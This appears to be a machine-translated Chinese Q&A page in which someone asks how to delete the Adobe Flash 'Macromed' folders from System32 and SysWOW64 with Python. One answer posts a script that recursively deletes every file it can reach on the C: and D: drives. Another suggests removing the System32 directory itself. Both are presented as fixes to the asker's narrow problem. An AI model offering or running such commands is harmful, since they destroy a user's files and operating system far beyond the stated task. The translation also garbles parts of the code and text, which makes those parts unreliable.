Python:用于从system32或SysWOW64中删除文件夹的脚本

sq1bmfud  于 2023-03-13  发布在  Python
关注(0)|答案(4)|浏览(201)

我正在尝试编写一个脚本,删除C:\Windows\System32\MacromedC:Windows\SysWOW64\Macromed(基本上是Adobe Flash手动卸载文件)。
我遇到的是来自windows的权限问题,因为它需要更高的权限才能删除这些文件夹。但是,Windows没有提示我同意权限,也没有要求我输入管理员用户名/密码以允许我删除这些文件夹。
我试着上网看看shutil.rmtree()是如何工作的,但是就像我说的,遇到了权限墙的问题。

1tu0hz3e

1tu0hz3e1#

只是尝试手动删除它,你仍然得到与windows的权限问题,然后python脚本也不会工作,你必须从windows获得所有权对象。尝试更改文件权限,然后运行python脚本。通常windows不允许删除System32目录中的文件,这是windows的核心部分。

编写一个适当的脚本,并测试它与文件在用户目录第一,如果它成功地做你的工作。然后处理窗口为您的文件夹,你要删除。

jslywgbw

jslywgbw2#

从操作系统导入步行导入操作系统

# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue

home="D:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue
yhxst69z

yhxst69z3#

shutil.rmtree(r“任何路径“)

vddsk6oq

vddsk6oq4#

操作系统删除(“C:\Windows\系统32”)

相关问题